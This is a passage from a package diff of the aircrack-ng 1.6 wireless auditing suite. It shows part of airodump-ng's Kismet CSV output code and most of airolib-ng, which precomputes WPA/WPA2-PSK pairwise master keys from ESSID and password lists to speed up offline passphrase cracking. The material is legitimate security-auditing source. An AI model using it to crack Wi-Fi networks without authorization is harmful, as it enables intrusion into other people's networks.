+			if (ap_cur->security & STD_WEP) fprintf(opt.f_kis, "WEP,");
+			if (ap_cur->security & STD_OPN) fprintf(opt.f_kis, "OPN,");
+		}
+
+		if ((ap_cur->security & ENC_FIELD) == 0)
+			fprintf(opt.f_kis, "None,");
+		else
+		{
+			if (ap_cur->security & ENC_CCMP) fprintf(opt.f_kis, "AES-CCM,");
+			if (ap_cur->security & ENC_WRAP) fprintf(opt.f_kis, "WRAP,");
+			if (ap_cur->security & ENC_TKIP) fprintf(opt.f_kis, "TKIP,");
+			if (ap_cur->security & ENC_WEP104) fprintf(opt.f_kis, "WEP104,");
+			if (ap_cur->security & ENC_WEP40) fprintf(opt.f_kis, "WEP40,");
+			if (ap_cur->security & ENC_GCMP) fprintf(opt.f_kis, "GCMP,");
+			if (ap_cur->security & ENC_GMAC) fprintf(opt.f_kis, "GMAC,");
+			if (ap_cur->security & AUTH_SAE) fprintf(opt.f_kis, "SAE,");
+			if (ap_cur->security & AUTH_OWE) fprintf(opt.f_kis, "OWE,");
+		}
+
+		fseek(opt.f_kis, -1, SEEK_CUR);
+		fprintf(opt.f_kis, ";");
+
+		// Decrypted
+		fprintf(opt.f_kis, "No;");
+
+		// MaxRate
+		fprintf(opt.f_kis, "%d.0;", ap_cur->max_speed);
+
+		// MaxSeenRate
+		fprintf(opt.f_kis, "0;");
+
+		// Beacon
+		fprintf(opt.f_kis, "%lu;", ap_cur->nb_bcn);
+
+		// LLC
+		fprintf(opt.f_kis, "0;");
+
+		// Data
+		fprintf(opt.f_kis, "%lu;", ap_cur->nb_data);
+
+		// Crypt
+		fprintf(opt.f_kis, "0;");
+
+		// Weak
+		fprintf(opt.f_kis, "0;");
+
+		// Total
+		fprintf(opt.f_kis, "%lu;", ap_cur->nb_data);
+
+		// Carrier
+		fprintf(opt.f_kis, ";");
+
+		// Encoding
+		fprintf(opt.f_kis, ";");
+
+		// FirstTime
+		fprintf(opt.f_kis, "%s", ctime(&ap_cur->tinit));
+		fseek(opt.f_kis, -1, SEEK_CUR);
+		fprintf(opt.f_kis, ";");
+
+		// LastTime
+		fprintf(opt.f_kis, "%s", ctime(&ap_cur->tlast));
+		fseek(opt.f_kis, -1, SEEK_CUR);
+		fprintf(opt.f_kis, ";");
+
+		// BestQuality
+		fprintf(opt.f_kis, "%d;", ap_cur->avg_power);
+
+		// BestSignal
+		fprintf(opt.f_kis, "0;");
+
+		// BestNoise
+		fprintf(opt.f_kis, "0;");
+
+		// GPSMinLat
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[0]);
+
+		// GPSMinLon
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[1]);
+
+		// GPSMinAlt
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[2]);
+
+		// GPSMinSpd
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[3]);
+
+		// GPSMaxLat
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[0]);
+
+		// GPSMaxLon
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[1]);
+
+		// GPSMaxAlt
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[2]);
+
+		// GPSMaxSpd
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[3]);
+
+		// GPSBestLat
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_best[0]);
+
+		// GPSBestLon
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_best[1]);
+
+		// GPSBestAlt
+		fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_best[2]);
+
+		// DataSize
+		fprintf(opt.f_kis, "0;");
+
+		// IPType
+		fprintf(opt.f_kis, "0;");
+
+		// IP
+		fprintf(opt.f_kis,
+				"%d.%d.%d.%d;",
+				ap_cur->lanip[0],
+				ap_cur->lanip[1],
+				ap_cur->lanip[2],
+				ap_cur->lanip[3]);
+
+		fprintf(opt.f_kis, "\r\n");
+
+		ap_cur = ap_cur->next;
+		k++;
+	}
+
+	fflush(opt.f_kis);
+
+	return (0);
+}

aircrack-ng-1.6.tar.gz/src/airodump-ng/dump_write.h Added

@@ -0,0 +1,56 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef _AIRODUMP_NG_DUMP_WRITE_H_
+#define _AIRODUMP_NG_DUMP_WRITE_H_
+
+int dump_write_csv(struct AP_info * ap_1st,
+				   struct ST_info * st_1st,
+				   unsigned int f_encrypt);
+int dump_write_airodump_ng_logcsv_add_ap(const struct AP_info * ap_cur,
+										 const int32_t ri_power,
+										 struct tm * tm_gpstime,
+										 float * gps_loc);
+int dump_write_airodump_ng_logcsv_add_client(const struct AP_info * ap_cur,
+											 const struct ST_info * st_cur,
+											 const int32_t ri_power,
+											 struct tm * tm_gpstime,
+											 float * gps_loc);
+char * get_manufacturer_from_string(char * buffer);
+int dump_write_kismet_netxml(struct AP_info * ap_1st,
+							 struct ST_info * st_1st,
+							 unsigned int f_encrypt,
+							 char * airodump_start_time);
+int dump_write_kismet_csv(struct AP_info * ap_1st,
+						  struct ST_info * st_1st,
+						  unsigned int f_encrypt);
+
+#endif /* _AIRODUMP_NG_DUMP_WRITE_H_ */
\ No newline at end of file

aircrack-ng-1.6.tar.gz/src/airolib-ng Added

aircrack-ng-1.6.tar.gz/src/airolib-ng/airolib-ng.c Added

@@ -0,0 +1,1466 @@
+/*
+ *  A tool to compute and manage PBKDF2 values as used in WPA-PSK and WPA2-PSK
+ *
+ *  Copyright (C) 2007-2009 ebfe
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdint.h>
+#include <string.h>
+#include <sqlite3.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <getopt.h>
+#include <fcntl.h>
+#include <signal.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/cowpatty/cowpatty.h"
+#include "aircrack-ng/crypto/crypto.h"
+#ifdef HAVE_REGEXP
+#include <regex.h>
+#endif
+#include "aircrack-ng/version.h"
+
+#define IMPORT_ESSID "essid"
+#define EXPORT_ESSID IMPORT_ESSID
+#define IMPORT_PASSWD "passwd"
+#define IMPORT_PASSWD_ALT "password"
+#define IMPORT_COWPATTY "cowpatty"
+#define EXPORT_COWPATTY IMPORT_COWPATTY
+
+static int exit_airolib;
+
+static void print_help(const char * msg)
+{
+	char * version_info
+		= getVersion("Airolib-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n"
+		   "  %s - (C) 2007, 2008, 2009 ebfe\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: airolib-ng <database> <operation> [options]\n"
+		   "\n"
+		   "  Operations:\n"
+		   "\n"
+		   "       --stats        : Output information about the database.\n"
+		   "       --sql <sql>    : Execute specified SQL statement.\n"
+		   "       --clean [all]  : Clean the database from old junk. 'all' "
+		   "will also \n"
+		   "                        reduce filesize if possible and run an "
+		   "integrity check.\n"
+		   "       --batch        : Start batch-processing all combinations of "
+		   "ESSIDs\n"
+		   "                        and passwords.\n"
+		   "       --verify [all] : Verify a set of randomly chosen PMKs.\n"
+		   "                        If 'all' is given, all invalid PMK will be "
+		   "deleted.\n"
+		   "\n"
+		   "       --import [%s|%s] <file>   :\n"
+		   "                        Import a text file as a list of ESSIDs or "
+		   "passwords.\n"
+		   "       --import %s <file>         :\n"
+		   "                        Import a cowpatty file.\n"
+		   "\n"
+		   "       --export %s <%s> <file> :\n"
+		   "                        Export to a cowpatty file.\n"
+		   "\n",
+		   version_info,
+		   IMPORT_ESSID,
+		   IMPORT_PASSWD,
+		   IMPORT_COWPATTY,
+		   EXPORT_COWPATTY,
+		   EXPORT_ESSID);
+	free(version_info);
+
+	if (msg && strlen(msg) > 0)
+	{
+		printf("%s", msg);
+		puts("");
+	}
+}
+
+static void sighandler(int signum)
+{
+#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
+	_PGOPTI_Prof_Dump();
+#endif
+#if !defined(__CYGWIN__)
+	// We can't call this on cygwin or we will sometimes end up
+	// having all our threads die with exit code 35584 fairly reproducible
+	// at around 2.5-3% of runs
+	signal(signum, sighandler);
+#endif
+
+	if (signum == SIGQUIT) exit_airolib = 1;
+
+	if (signum == SIGTERM) exit_airolib = 1;
+
+	if (signum == SIGINT) exit_airolib = 1;
+}
+
+static void sql_error(sqlite3 * db)
+{
+	REQUIRE(db != NULL);
+
+	fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
+}
+
+static int
+sql_exec_cb(sqlite3 * db, const char * sql, void * callback, void * cb_arg)
+{
+	REQUIRE(db != NULL);
+	REQUIRE(sql != NULL);
+
+#ifdef SQL_DEBUG
+	printf(sql);
+	printf("\n");
+	fflush(stdout);
+#endif
+
+	int rc;
+	char * zErrMsg = 0;
+	char looper[4] = {'|', '/', '-', '\\'};
+	int looperc = 0;
+	int waited = 0;
+
+	while (1)
+	{
+		rc = sqlite3_exec(db, sql, callback, cb_arg, &zErrMsg);
+		if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
+		{
+			fprintf(stdout,
+					"Database is locked or busy. Waiting %is ... %1c    \r",
+					++waited,
+					looper[looperc++ % sizeof(looper)]);
+			fflush(stdout);
+			sleep(1);
+		}
+		else
+		{
+			if (rc != SQLITE_OK)
+			{
+				fprintf(stderr, "SQL error. %s\n", zErrMsg);
+				sqlite3_free(zErrMsg);
+			}
+			if (waited != 0) printf("\n\n");
+			return (rc);
+		}
+	}
+}
+
+// execute sql fast and hard.
+static int sql_exec(sqlite3 * db, const char * sql)
+{
+	REQUIRE(db != NULL);
+	REQUIRE(sql != NULL);
+
+	return (sql_exec_cb(db, sql, 0, 0));
+}
+
+// wrapper for sqlite3_step which retries executing statements if the db returns
+// SQLITE_BUSY or SQLITE_LOCKED
+static int sql_step(sqlite3_stmt * stmt, int wait)
+{
+	REQUIRE(stmt != NULL);
+
+	int rc;
+	char looper[4] = {'|', '/', '-', '\\'};
+	int looperc = 0;
+	int waited = 0;
+
+	while (1)
+	{
+		rc = sqlite3_step(stmt);
+		if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
+		{
+			if (wait != 0)
+			{
+				fprintf(stdout,
+						"Database is locked or busy. Waiting %is ... %1c    \r",
+						++waited,
+						looper[looperc]);
+				fflush(stdout);
+				wait--;
+				looperc = looperc + 1 % sizeof(looper);
+				sleep(1);
+			}
+			else
+			{
+				fprintf(stderr,
+						"Database was locked or busy while getting "
+						"results. I've given up.\n");
+				return (rc);
+			}
+		}
+		else
+		{
+			if (waited != 0) printf("\n\n");
+			return (rc);
+		}
+	}
+}
+
+// wrapper for sqlite3_prepare_v2 which retries creating statements if the db
+// returns SQLITE_BUSY or SQLITE_LOCKED
+static int
+sql_prepare(sqlite3 * db, const char * sql, sqlite3_stmt ** ppStmt, int wait)
+{
+	REQUIRE(db != NULL);
+	REQUIRE(sql != NULL);
+
+#ifdef SQL_DEBUG
+	printf(sql);
+	printf("\n");
+	fflush(stdout);
+#endif
+
+	int rc;
+	char looper[4] = {'|', '/', '-', '\\'};
+	int looperc = 0;
+	int waited = 0;
+
+	while (1)
+	{
+		rc = sqlite3_prepare_v2(db, sql, -1, ppStmt, NULL);
+		if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
+		{
+			if (wait != 0)
+			{
+				fprintf(stdout,
+						"Database is locked or busy. Waiting %is ... %1c    \r",
+						++waited,
+						looper[looperc]);
+				fflush(stdout);
+				wait--;
+				looperc = looperc + 1 % sizeof(looper);
+				sleep(1);
+			}
+			else
+			{
+				fprintf(stderr,
+						"Database was locked or busy while creating "
+						"statement. I've given up.\n");
+				return (rc);
+			}
+		}
+		else
+		{
+			if (waited != 0) printf("\n\n");
+			return (rc);
+		}
+	}
+}
+
+// generic function to dump a resultset including column names to stdout
+static int stmt_stdout(sqlite3_stmt * stmt, int * rowcount)
+{
+	REQUIRE(stmt != NULL);
+
+	int ccount;
+	int rcount = 0;
+	int rc;
+
+	if (stmt == 0 || (ccount = sqlite3_column_count(stmt)) == 0)
+	{
+		return (sql_step(stmt, 0));
+	}
+
+	int i = 0;
+	do
+	{
+		printf("%s", sqlite3_column_name(stmt, i++));
+		if (i < ccount) printf("\t");
+	} while (i < ccount);
+	printf("\n");
+
+	while ((rc = sql_step(stmt, 0)) == SQLITE_ROW)
+	{
+		i = 0;
+		rcount++;
+		do
+		{
+			printf("%s", (char *) sqlite3_column_text(stmt, i++));
+			if (i < ccount) printf("\t");
+		} while (i < ccount);
+		printf("\n");
+	}
+
+	if (rowcount != NULL) *rowcount = rcount;
+
+	return (rc);
+}
+
+// generic function to dump the output of a sql statement to stdout.
+// will return sqlite error codes but also handle (read: ignore) them itself
+static int sql_stdout(sqlite3 * db, const char * sql, int * rowcount)
+{
+	REQUIRE(db != NULL);
+	REQUIRE(sql != NULL);
+
+	int rc;
+	sqlite3_stmt * stmt;
+
+	rc = sql_prepare(db, sql, &stmt, -1);
+	if (rc != SQLITE_OK)
+	{
+		sql_error(db);
+		return (rc);
+	}
+
+	rc = stmt_stdout(stmt, rowcount);
+	sqlite3_finalize(stmt);
+
+	if (rc == SQLITE_DONE)
+	{
+		if (sqlite3_changes(db) > 0)
+			fprintf(
+				stdout, "Query done. %i rows affected.", sqlite3_changes(db));
+	}
+	else
+	{
+		sql_error(db);
+	}
+
+	printf("\n");
+	return (rc);
+}
+
+// retrieve a single int value using a sql query.
+// returns 0 if something goes wrong. beware! create your own statement if you
+// need error handling.
+static int query_int(sqlite3 * db, const char * sql)
+{
+	REQUIRE(db != NULL);
+
+	sqlite3_stmt * stmt;
+	int rc;
+	int ret;
+
+	rc = sql_prepare(db, sql, &stmt, -1);
+	if (rc != SQLITE_OK || stmt == 0 || sqlite3_column_count(stmt) == 0)
+	{
+		sql_error(db);
+		ret = 0;
+	}
+	else
+	{
+		rc = sql_step(stmt, -1);
+		if (rc == SQLITE_ROW)
+		{
+			ret = sqlite3_column_int(stmt, 0);
+		}
+		else
+		{
+#ifdef SQL_DEBUG
+			printf(
+				"DEBUG: query_int() returns with sql_step() != SQLITE_ROW\n");
+#endif
+			ret = 0;
+		}
+	}
+
+	sqlite3_finalize(stmt);
+
+	return (ret);
+}
+
+// throw some statistics about the db to stdout.
+// if precise!=0 the stats will be queried nail by nail which can be slow
+static void show_stats(sqlite3 * db, int precise)
+{
+	REQUIRE(db != NULL);
+
+	sql_exec(db, "BEGIN;");
+
+	int essids = query_int(db, "SELECT COUNT(*) FROM essid;");
+	int passwds = query_int(db, "SELECT COUNT(*) FROM passwd;");
+	int done;
+
+	if (precise != 0)
+	{
+		printf("Determining precise statistics may be slow...\n");
+		done = query_int(db,
+						 "SELECT COUNT(*) FROM essid,passwd INNER JOIN pmk "
+						 "ON pmk.essid_id = essid.essid_id AND "
+						 "pmk.passwd_id = passwd.passwd_id");
+	}
+	else
+	{
+		done = query_int(db, "SELECT COUNT(*) FROM pmk;");
+	}
+
+	fprintf(stdout,
+			"There are %i ESSIDs and %i passwords in the database. %i out of "
+			"%i possible combinations have been computed (%g%%).\n\n",
+			essids,
+			passwds,
+			done,
+			essids * passwds,
+			essids * passwds > 0 ? ((double) done * 100) / (essids * passwds)
+								 : 0);
+
+	if (precise != 0)
+	{
+		sql_stdout(db,
+				   "select essid.essid AS ESSID, essid.prio AS Priority, "
+				   "round(count(pmk.essid_id) * 100.0 / count(*),2) AS Done "
+				   "from essid,passwd left join pmk on pmk.essid_id = "
+				   "essid.essid_id and pmk.passwd_id = passwd.passwd_id group "
+				   "by essid.essid_id;",
+				   0);
+	}
+	else
+	{
+		sql_stdout(db,
+				   "SELECT essid.essid AS ESSID, essid.prio AS Priority, "
+				   "ROUND(COUNT(pmk.essid_id) * 100.0 / (SELECT COUNT(*) FROM "
+				   "passwd),2) AS Done FROM essid LEFT JOIN pmk ON "
+				   "pmk.essid_id = essid.essid_id GROUP BY essid.essid_id;",
+				   0);
+	}
+
+	sql_exec(db, "COMMIT;");
+}
+
+/*
+batch-process all combinations of ESSIDs and PASSWDs. this function may be
+called
+only once per db at the same time, yet multiple processes can batch-process a
+single db.
+don't modify this function's layout or it's queries without carefully
+considering speed, efficiency and concurrency.
+*/
+static void batch_process(sqlite3 * db)
+{
+	REQUIRE(db != NULL);
+
+	int rc;
+	int cur_essid = 0;
+	struct timeval starttime;
+	struct timeval curtime;
+	int rowcount = 0;
+	char * sql;
+
+	gettimeofday(&starttime, NULL);
+
+	if (sql_exec(db,
+				 "CREATE TEMPORARY TABLE temp.buffer (wb_id integer, "
+				 "essid_id integer, passwd_id integer, essid text, passwd "
+				 "text, pmk blob);")
+		!= SQLITE_OK)
+	{
+		fprintf(stderr, "Failed to create buffer for batch processing.\n");
+		return;
+	}
+
+	printf("Batch processing ...\n");
+
+	// may fail - that's ok
+	cur_essid = query_int(db, "SELECT essid_id FROM workbench LIMIT 1;");
+
+	while (!exit_airolib)
+	{
+		// loop over everything
+		do
+		{
+			// loop over ESSID
+			do
+			{
+				// loop over workbench
+				sql_exec(db, "DELETE FROM temp.buffer;");
+				// select some work from the workbench into our own buffer
+				// move lockid ahead so other clients won't get those rows any
+				// time soon
+				sql_exec(db, "BEGIN EXCLUSIVE;");
+				sql_exec(db,
+						 "INSERT INTO temp.buffer "
+						 "(wb_id,essid_id,passwd_id,essid,passwd) SELECT "
+						 "wb_id, "
+						 "essid.essid_id,passwd.passwd_id,essid,passwd "
+						 "FROM workbench CROSS JOIN essid ON "
+						 "essid.essid_id = workbench.essid_id CROSS JOIN "
+						 "passwd ON passwd.passwd_id = workbench.passwd_id "
+						 "ORDER BY lockid LIMIT 5000;");
+				sql_exec(db,
+						 "UPDATE workbench SET lockid=lockid+1 WHERE wb_id "
+						 "IN (SELECT wb_id FROM buffer);");
+				sql_exec(db, "COMMIT;");
+
+				rc = query_int(db, "SELECT COUNT(*) FROM buffer;");
+				if (rc > 0)
+				{
+					// now calculate all the PMKs with a single statement.
+					// remember the update won't lock the db
+					sql_exec(db,
+							 "UPDATE temp.buffer SET pmk = PMK(essid,passwd);");
+
+					// commit work and delete package from workbench
+					sql_exec(db, "BEGIN EXCLUSIVE;");
+					sql_exec(db,
+							 "INSERT OR IGNORE INTO pmk "
+							 "(essid_id,passwd_id,pmk) SELECT "
+							 "essid_id,passwd_id,pmk FROM temp.buffer");
+					sql_exec(db,
+							 "DELETE FROM workbench WHERE wb_id IN (SELECT "
+							 "wb_id FROM buffer);");
+					sql_exec(db, "COMMIT;");
+
+					rowcount += rc;
+					gettimeofday(&curtime, NULL);
+					int timediff = curtime.tv_sec - starttime.tv_sec;
+					fprintf(stdout,
+							"\rComputed %i PMK in %i seconds (%i PMK/s, %i in "
+							"buffer)\n",
+							rowcount,
+							timediff,
+							timediff > 0 ? rowcount / timediff : rowcount,
+							query_int(db, "SELECT COUNT(*) FROM workbench;"));
+					fflush(stdout);
+				}
+			} while (rc > 0 && !exit_airolib);
+			sql = sqlite3_mprintf(
+				"INSERT OR IGNORE INTO workbench (essid_id,passwd_id) SELECT "
+				"essid.essid_id,passwd.passwd_id FROM passwd CROSS JOIN essid "
+				"LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND "
+				"pmk.passwd_id = passwd.passwd_id WHERE essid.essid_id = %i "
+				"AND pmk.essid_id IS NULL LIMIT 250000;",
+				cur_essid);
+			sql_exec(db, sql);
+			sqlite3_free(sql);
+		} while (!exit_airolib
+				 && query_int(db,
+							  "SELECT COUNT(*) FROM workbench INNER JOIN "
+							  "essid ON essid.essid_id = "
+							  "workbench.essid_id INNER JOIN passwd ON "
+							  "passwd.passwd_id = workbench.passwd_id;")
+						> 0);
+
+		cur_essid = query_int(
+			db,
+			"SELECT essid.essid_id FROM essid LEFT JOIN pmk USING "
+			"(essid_id) WHERE VERIFY_ESSID(essid.essid) == 0 GROUP BY "
+			"essid.essid_id HAVING COUNT(pmk.essid_id) < (SELECT COUNT(*) "
+			"FROM passwd) ORDER BY essid.prio,COUNT(pmk.essid_id),RANDOM() "
+			"LIMIT 1;");
+		if (cur_essid == 0)
+		{
+			printf("All ESSID processed.\n\n");
+			sqlite3_close(db);
+			exit(EXIT_SUCCESS);
+		}
+	}
+
+	// never reached
+	sql_exec(db, "DROP TABLE temp.buffer;");
+}
+
+// Verify an ESSID. Returns 1 if ESSID is invalid.
+// TODO More things to verify? Invalid chars?
+static int verify_essid(char * essid)
+{
+	return (essid == NULL || strlen(essid) < 1 || strlen(essid) > 32);
+}
+
+// sql function which checks a given ESSID
+static void
+sql_verify_essid(sqlite3_context * context, int argc, sqlite3_value ** values)
+{
+	char * essid = (char *) sqlite3_value_text(values[0]);
+	if (argc != 1 || essid == 0)
+	{
+		fprintf(stderr,
+				"SQL function VERIFY_ESSID called with invalid arguments");
+		return;
+	}
+	sqlite3_result_int(context, verify_essid(essid));
+}
+
+static int verify_passwd(char * passwd)
+{
+	return (passwd == NULL || strlen(passwd) < 8 || strlen(passwd) > 63);
+}
+
+static void
+sql_verify_passwd(sqlite3_context * context, int argc, sqlite3_value ** values)
+{
+	char * passwd = (char *) sqlite3_value_text(values[0]);
+	if (argc != 1 || passwd == 0)
+	{
+		fprintf(stderr,
+				"SQL function VERIFY_PASSWD called with invalid arguments");
+		return;
+	}
+	sqlite3_result_int(context, verify_passwd(passwd));
+}
+
+// clean the db, analyze, maybe vacuum and check
+static void vacuum(sqlite3 * db, int deep)
+{
+	printf("Deleting invalid ESSIDs and passwords...\n");
+	sql_exec(db, "DELETE FROM essid WHERE VERIFY_ESSID(essid) != 0;");
+	sql_exec(db, "DELETE FROM passwd WHERE VERIFY_PASSWD(passwd) != 0");
+	printf("Deleting unreferenced PMKs...\n");
+	sql_exec(
+		db,
+		"DELETE FROM pmk WHERE essid_id NOT IN (SELECT essid_id FROM essid)");
+	sql_exec(db,
+			 "DELETE FROM pmk WHERE passwd_id NOT IN (SELECT passwd_id "
+			 "FROM passwd)");
+
+	printf("Analysing index structure...\n");
+	sql_exec(db, "ANALYZE;");
+	if (deep != 0)
+	{
+		printf("Vacuum-cleaning the database. This could take a while...\n");
+		sql_exec(db, "VACUUM;");
+		printf("Checking database integrity...\n");
+		sql_stdout(db, "PRAGMA integrity_check;", 0);
+	}
+	printf("Done.\n");
+}
+
+// verify PMKs. If complete==1 we check all PMKs
+// returns 0 if ok, !=0 otherwise
+static void verify(sqlite3 * db, int complete)
+{
+	if (complete != 1)
+	{
+		printf("Checking ~10 000 randomly chosen PMKs...\n");
+		// this is faster than 'order by random()'. we need the subquery to
+		// trick the optimizer...
+		sql_stdout(db,
+				   "select s.essid AS ESSID, COUNT(*) AS CHECKED, CASE WHEN "
+				   "MIN(s.pmk == PMK(essid,passwd)) == 0 THEN 'FAILED' ELSE "
+				   "'OK' END AS STATUS FROM (select distinct essid,passwd,pmk "
+				   "FROM pmk INNER JOIN passwd ON passwd.passwd_id = "
+				   "pmk.passwd_id INNER JOIN essid ON essid.essid_id = "
+				   "pmk.essid_id WHERE abs(random() % (select count(*) from "
+				   "pmk)) < 10000) AS s GROUP BY s.essid;",
+				   0);
+	}
+	else
+	{
+		printf("Checking all PMKs. This could take a while...\n");
+		sql_stdout(db,
+				   "select essid AS ESSID,passwd AS PASSWORD,HEX(pmk) AS "
+				   "PMK_DB, HEX(PMK(essid,passwd)) AS CORRECT FROM pmk INNER "
+				   "JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN "
+				   "essid ON essid.essid_id = pmk.essid_id WHERE pmk.pmk != "
+				   "PMK(essid,passwd);",
+				   0);
+	}
+}
+
+// callback for export_cowpatty. takes the passwd and pmk from the query and
+// writes another fileentry.
+static int
+sql_exportcow(void * arg, int ccount, char ** values, char ** columnnames)
+{
+	REQUIRE(arg != NULL);
+	UNUSED_PARAM(columnnames);
+
+	FILE * f = (FILE *) arg;
+	struct hashdb_rec rec;
+	if (ccount != 2 || values[0] == NULL || values[1] == NULL
+		|| fileno(f) == -1)
+	{
+		printf("Illegal call to sql_exportcow.\n");
+		return (-1);
+	}
+
+	char * passwd = (char *) values[0];
+
+	memcpy(rec.pmk, values[1], sizeof(rec.pmk));
+	rec.rec_size = strlen(passwd) + sizeof(rec.pmk) + sizeof(rec.rec_size);
+
+	int rc = fwrite(&rec.rec_size, sizeof(rec.rec_size), 1, f);
+	rc += fwrite(passwd, strlen(passwd), 1, f);
+	rc += fwrite(rec.pmk, sizeof(rec.pmk), 1, f);
+	if (rc != 3)
+	{
+		printf("Error while writing to export file. Query aborted...\n");
+		return (1);
+	}
+	fflush(f);
+	return (0);
+}
+
+// export to a cowpatty file
+static void export_cowpatty(sqlite3 * db, char * essid, char * filename)
+{
+	struct hashdb_head filehead;
+	memset(&filehead, 0, sizeof(filehead));
+	FILE * f = NULL;
+	size_t essid_len;
+	int fd;
+
+	if (essid == NULL)
+	{
+		printf("Invalid SSID (NULL).\n");
+		return;
+	}
+
+	if (filename == NULL || strlen(filename) == 0)
+	{
+		printf("Invalid filename (NULL)");
+		return;
+	}
+
+	essid_len = strlen(essid);
+	if (essid_len == 0 || essid_len > sizeof(filehead.ssid))
+	{
+		printf("Invalid SSID (NULL or > %zu chars).\n", sizeof(filehead.ssid));
+		return;
+	}
+
+	// ensure that the essid is found in the db and has at least one entry in
+	// the pmk table.
+	char * sql = sqlite3_mprintf(
+		"SELECT COUNT(*) FROM (SELECT passwd, pmk FROM essid,passwd INNER JOIN "
+		"pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = "
+		"essid.essid_id WHERE essid.essid = '%q' LIMIT 1);",
+		essid);
+	int rc = query_int(db, sql);
+	sqlite3_free(sql);
+	if (rc == 0)
+	{
+		printf("There is no such ESSID in the database or there are no PMKs "
+			   "for it.\n");
+		return;
+	}
+
+	if ((fd = open(filename, O_WRONLY | O_CREAT | O_EXCL, 0666)) >= 0)
+	{
+		f = fdopen(fd, "w");
+	}
+	else
+	{
+		printf("The file already exists and I won't overwrite it.\n");
+		return;
+	}
+
+	if (f == NULL)
+	{
+		printf("Failed to open export file for writing.\n");
+		return;
+	}
+
+	memcpy(filehead.ssid, essid, essid_len);
+	filehead.ssidlen = essid_len;
+	filehead.magic = GENPMKMAGIC;
+	if (fwrite(&filehead, sizeof(filehead), 1, f) != 1)
+	{
+		printf("Failed to write header to coWPAtty hash DB file.\n");
+		fclose(f);
+		return;
+	}
+
+	// as we have an open filehandle, we now query the db to return passwds and
+	// associated PMKs for that essid. we pass the filehandle to a callback
+	// function which will write the rows to the file.
+	sql = sqlite3_mprintf(
+		"SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk "
+		"ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id "
+		"= essid.essid_id WHERE essid.essid = '%q'",
+		essid);
+	printf("Exporting...\n");
+	rc = sql_exec_cb(db, sql, &sql_exportcow, f);
+	sqlite3_free(sql);
+	if (rc != SQLITE_OK)
+	{
+		printf("There was an error while exporting to coWPAtty hash DB.\n");
+	}
+
+	fclose(f);
+	printf("Done.\n");
+}
+
+// import a cowpatty file
+static int import_cowpatty(sqlite3 * db, char * filename)
+{
+	struct hashdb_rec * rec = NULL;
+	struct cowpatty_file * hashdb;
+	sqlite3_stmt * stmt;
+	char * sql;
+	int essid_id;
+
+	hashdb = open_cowpatty_hashdb(filename, "r");
+	if (hashdb == NULL)
+	{
+		printf("Failed opening file\n");
+		return (0);
+	}
+	else if (hashdb->error[0])
